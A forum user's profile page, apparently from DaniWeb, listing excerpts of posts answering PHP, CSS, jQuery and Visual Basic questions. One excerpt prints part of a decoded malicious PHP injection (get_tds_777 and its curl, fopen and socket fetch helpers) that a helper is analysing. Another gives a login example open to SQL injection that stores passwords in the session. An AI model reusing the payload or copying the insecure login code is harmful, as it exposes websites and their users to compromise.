- Strength to Increase Rep
- +0
- Strength to Decrease Rep
- -0
- Upvotes Received
- 9
- Posts with Upvotes
- 9
- Upvoting Members
- 7
- Downvotes Received
- 0
- Posts with Downvotes
- 0
- Downvoting Members
- 0
Help! I'm in a nutshell. How did I ever get in this nutshell??
- Interests
- Playing guitar, songwriting, playing shows with my band, freelance Web design/programming, Xbox360,…
64 Posted Topics
Re: The following page gives an example: [URL="http://www.brightcherry.co.uk/scribbles/jquery-auto-refresh-div-every-x-seconds/"]http://www.brightcherry.co.uk/scribbles/jquery-auto-refresh-div-every-x-seconds/[/URL]. It uses JQuery which you can download from their official site [URL="http://jquery.com/"]http://jquery.com/[/URL]. You can download the latest package, upload it to your site and change the location of the jquery .js file in the example. You may be able to use the "latest … | |
All of my search attempts on here and the Internet at large have resulted in discussions on how to DISABLE parent form's while a particular child is open. But my project seems to be doing that itself just fine. I do not want it to and I am not sure … | |
I really tried with the title! I could not find what I was looking for through google or here. Seemed like something that could be common enough that I'd find it online already but perhaps it's so simple that no one had a problem doing it so they did not … | |
Re: As both Mr.M and ReverendJim mention, we'd need to know what would be classified as an "unwanted" file. Would you be specifying what files are unwanted or would the 'user' be deciding what files are unwanted? If you specify what files are unwanted you could possibly create an array with … | |
I am working with Visual Basic Studio 2013 and one of my forms requires the use of a web client component. I added Web Client to my toolbox and easily added it to my form. When VBStudio cooperates the form does everything as it should perfectly. However, when I loaded … | |
Hello once again! I have searched in vain for a solution to this issue however, any threads that I've seen online were regarding copying a specific state of a dynamic image and were unresolved...or were more like what I was looking for and it was unresolved. My current form uses … | |
I've searched all over the Net and here on DL but I can seem to find only information on passing a single argument when opening a new form. When I attempt to send more than one I get the "Too many arguments to 'Public Sub New()'" error. I am trying … | |
Hello, I am writing a small 'program' using MS Visual Studio 2013. I would like to read in a few tags from the ID3 headers of media for each file to be written to an XML file. I've used taglib and a few other ID3 libraries but I cannot use … | |
I am brand new to Visual Studio so please forgive my current lack of knowledge but I've tried searching everywhere for this and am relatively surprised that I couldn't find something about this elsewhere. I am using a currently using an Openfiledialogue with multi-file selection allowed. It then adds the … | |
After very little success in using JQuery .post methods I wanted to try asking this here before giving up. I am serving a couple JS based games on a site using PHP as members can log into the site and through sessions/cookies remain logged and play games under their account. … | |
Re: This site may be of help: [URL="http://mashable.com/2010/12/16/create-mobile-site-tools/"]http://mashable.com/2010/12/16/create-mobile-site-tools/[/URL] it lists 8 different solutions from different companies that can help turn you standard Web site into a mobile one. The post on the page is over a year old so some of the info as far as what is offered for free … ![]() | |
Re: Mine is probably too simple...but here it goes anyway: I work a full-time job, do free lance Web design and/or PHP coding, work whichever novel I currently haven't finished yet and band practices throughout the week...BUT the weekends is when we get to play most of our shows. So for … | |
Re: Agreed. Whenever you get a notice on either num_rows of fetch_array that parameter 1 needs to be a resource then it usually means that there was an error in a mysql statement and that the query, in your case $query1 doesn't hold an array for them to use. [CODE] $query1 … | |
Re: [QUOTE=Zhoot;1766525]Think I'll answer it myself to get some more traffic here :) Favorite language: Java.. I really like Java when it comes to making games. Favorite game engine: Hmm this takes some thinking. I really like making my own and using openGL for graphics. Favorite genre: I have to say … | |
Re: To start: <?php session_start(); $query = mysql_query("SELECT * FROM tbl_login WHERE user_name='$user_name' and password='$password'"); $rows = mysql_num_rows($query); while ($login_info = mysql_fetch_array($query)) { $user_level = $login_info['user_level']; } if ($rows < 1) { echo "Incorrect login credentials"; }else{ $_SESSION['user_name'] = $user_name; $_SESSION['password'] = $password; $_SESSION['user_level'] = $user_level; WHATEVER YOU WANT DONE AFTER … ![]() | |
I am looking to use mod_rewrite to remove the file extension of the files on my site. I am aware of how to make use of the mod but I was curious as to a couple of things when passing variables to a script. Such as if I have a … | |
Re: I hope you're not asking us to do an entire homework assignment for you! haha | |
Re: If you are trying to remove some of the data being mailed to you that you do not want or need you can simply remove references to their variable in the script that does the e-mailing. If you post the code of the e-mailing functions we can have a better … ![]() | |
Re: Since you are trying it on your computer do you have a server and PHP installed on your computer? PHP is an interpreted language and needs the PHP on the machine trying to run the code. "<?php" tells the interpreter that it is supposed to run the following code up … | |
Re: Most servers will not allow a PHP script the necessary level of privileges to create a new database and/or a new user/password. Theoretically it would be possible as phpmyadmin and I believe that one-click installers such as Fantastico can do it. But most server hosts that run CPanel will allow … | |
Re: To use session variable you should do the following, which is based off of the example previously given: [CODE] $a = $_SESSION['a']; [/CODE] It's just like using $_GET and $_POST but PHP will pulled the data out of a user's session when using $_SESSION. Such as: [CODE] <?php session_start(); $_SESSION['username'] … | |
Re: The link that StephNicolaou provided should help you out. You can also look at [URL="http://www.tizag.com/phpT/phpdate.php"]http://www.tizag.com/phpT/phpdate.php[/URL] which gives much of the same information but Tizag is a good beginners site and they tend to explain things in as simplified way as they can. PHP has the built-in function 'date' which gets … | |
Re: As has been mentioned by each poster...there is no guarantee in this. Even if you disabled all of the browser's print functions they could technically copy/paste the page (granted there be no design elements) into a text file and print it from there. And companies that make browsers do not … | |
Re: Insert.php [CODE] <?php $Name = $_POST['NAME']; $IP = $_POST['IP']; if (!isset($Name)) { echo "You must enter a name."; exit; } elseif (!isset($IP)) { echo "You must enter an IP address."; exit; } else { // code for database insertion and printing success message. } ?> [/CODE] Now this is overly … | |
Re: I think it might be better to specify these things within the script themselves as far as database login information goes. No need to pass that as SESSION information. Especially if you want more than just the guestbook because if they go to another form which saves info to the … | |
Re: As previously suggested..it depends on what you are going for. I personally tend to lean towards E107 because I found that I can best control the layout/design. Some CMS's have template systems which leave many of the sites that use it as a back-end look similar. I can surf the … | |
Re: If you are experiencing a problem with php.ini you can try to contact your server host and see about getting it bumped. I would suggest requesting a bump only to the largest size you'd conceivably need. Some servers may give you access to the php.ini. Many do not. This link … | |
Re: Here is a page with similar code [URL="http://css-tricks.com/snippets/php/find-urls-in-text-make-links/"]http://css-tricks.com/snippets/php/find-urls-in-text-make-links/[/URL]. As stated in the page all links must start with "http://", "https://" or the like for the regular expression to match it. Sanitize the data before saving the status to the database but do not transform the text URLs into links until … | |
Re: Is the report using information pulled from a database? Does the name have an ID number associated with it? Does the database table have a unique key (as they all should)? Is the information to be included in the report coming from more than one database table? The solution can … | |
Re: What browsers have you tried? IE tends to have similar problems with z-index. If the problem occurs in other browsers I am not positive what the cause would be. | |
Re: What are you experiencing when you run the code above? I am not awake enough to run through your joined query syntax at the moment to verify whether or not it is done correctly. You can't return or use an array with mysql_num_rows() as the function only counts the number … | |
Re: Here is what I am getting as it is decoded: [CODE] if(function_exists('ob_start')&&!isset($_SERVER['mr_no'])){ $_SERVER['mr_no']=1; if(!function_exists('mrobh')){ function get_tds_777($url){$content="";$content=@trycurl_777($url);if($content!==false)return $content;$content=@tryfile_777($url);if($content!==false)return $content;$content=@tryfopen_777($url);if($content!==false)return $content;$content=@tryfsockopen_777($url);if($content!==false)return $content;$content=@trysocket_777($url);if($content!==false)return $content;return '';} function trycurl_777($url){if(function_exists('curl_init')===false)return false;$ch = curl_init ();curl_setopt ($ch, CURLOPT_URL,$url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_TIMEOUT, 5);curl_setopt ($ch, CURLOPT_HEADER, 0);$result = curl_exec ($ch);curl_close($ch);if ($result=="")return false;return $result;} function tryfile_777($url){if(function_exists('file')===false)return false;$inc=@file($url);$buf=@implode('',$inc);if ($buf=="")return false;return … | |
Re: Hmm can you post the css for the menu section? Might allow me to make a determination. I see that the menu layer isn't centered physically when hovering over the main link but without the css I can't see why. | |
Re: Well technically you do not need to own the second domain name, the one being directed to. But you would need to at least have access to the first server to upload a file that can redirect to the second URL. So you'd definitely have to own/have access to the … | |
Re: Biiim is correct there. Change to background-color: The browser isn't "understanding" just background: and ignores it and defaults the background color to white and you are making your text white-on-white. If you click and drag the cursor over the page you'd highlight it and then it would be visible because … | |
Re: Yes, there are normally two ways to do this. If your host offers the feature, as another suggested, you can add the domain name/"park" it through the admin control of your server host's site. Then they will tell you the server names to use which you will have to enter … | |
Re: Just a brief synopsis and then you can look at the link in Zero13's post for more details on PHP's mail function. One one page you have your form and then the page that the first one submits to should have something like the following: [CODE] <?php $email_to = "you@yourdomain.com"; … | |
Re: It looks to me that it's a proprietary flash player they've created for their purposes. It continues playing the same song even when you load another page. And it looks like the artists pages use javascript to tell the flash player what to load such as when you click on … | |
Re: Yes, both are correct and it just depends on which method you are aiming for. Normally a browser will repeat a background image by default when the text flows beyond the browser's screen height unless the attached argument is set to fixed then the text will be moved by the … | |
Re: Definitely take the 'feel' of the storyline into account when developing the levels. Not only will you want to match the mood but you'll want to enhance the mood of the story the game is telling with lighting and general scenic styling. Since it is in the first-person horror genre … | |
Re: I wouldn't hold onto hope that you'd get the daniweb forum code as Dani herself personally codes it which helps it remain quite unique. Otherwise you should probably do a search from your favorite search engines as far as forums go. Many have different some different features but they tend … | |
Re: I am not sure of the "1" in the WHERE clause of the update query. I am not sure what row the query is supposed to match to perform the update. | |
Re: I am inclined to agree. My simple idea would be to have a database back-end as suggested by hericles where you either add two columns to a user's db row or if you have the room for more tables you could even create a table especially for this feature. But … | |
Re: The only real difference is that after when using the same page to create the form and handle the submission is that you can post error or success messages above the form and they will be able make any additional changes from the same page. Or if an error is … | |
Re: I agree with ardav. I, personally, am not well versed with transitioning JS data to $_SESSION although I am good with sessions otherwise. But when you're using JavaScript and JavaScript can easily write to a cookie I don't see any reason to muddy things up by adding a 'middleman' of … | |
Re: I am usually good with creating logo concepts however my skills are in actually digitizing the ideas in my head suck. I agree with Pritaeas that a logo challenge may be helpful. I've found a couple of sites that I will link to. You can also go to web/graphic design … | |
Re: According to the tutorial page associated with that script you control what you want in the following line of code: [CODE]( { backgroundColor: hue }, 1000)[/CODE] Change the value from 1000 to another number and it will change the range. However...it doesn't give specific values to use for a specific … | |
Re: According to this page: [URL="http://webdesign.about.com/cs/css/qt/tipcssatimport.htm"]http://webdesign.about.com/cs/css/qt/tipcssatimport.htm[/URL] @import [B]MUST[/B] be declared at the top of the file. I can't say for certain since I do not know which CMS you are using but I know that E107, for one, allows you to create custom template/layout/css for any "pages" which are to be … | |
Re: I am not sure whether this is relevant or not because the page looked the same to me in FF and IE but then I am using IE9. Up through at least IE8 Explorer has been buggy with z-index. I found this posting online but again, I am not sure … | |
Re: [CODE]$sabout=nl2br($sabout);[/CODE] Give that a shot. When data is entered into a DB hard returns (hitting the Enter button) will be converted to \n (newline) \r (return) or a combination of both. nl2br will take newlines and returns and convert them to the html linebreak <br /> |
The End.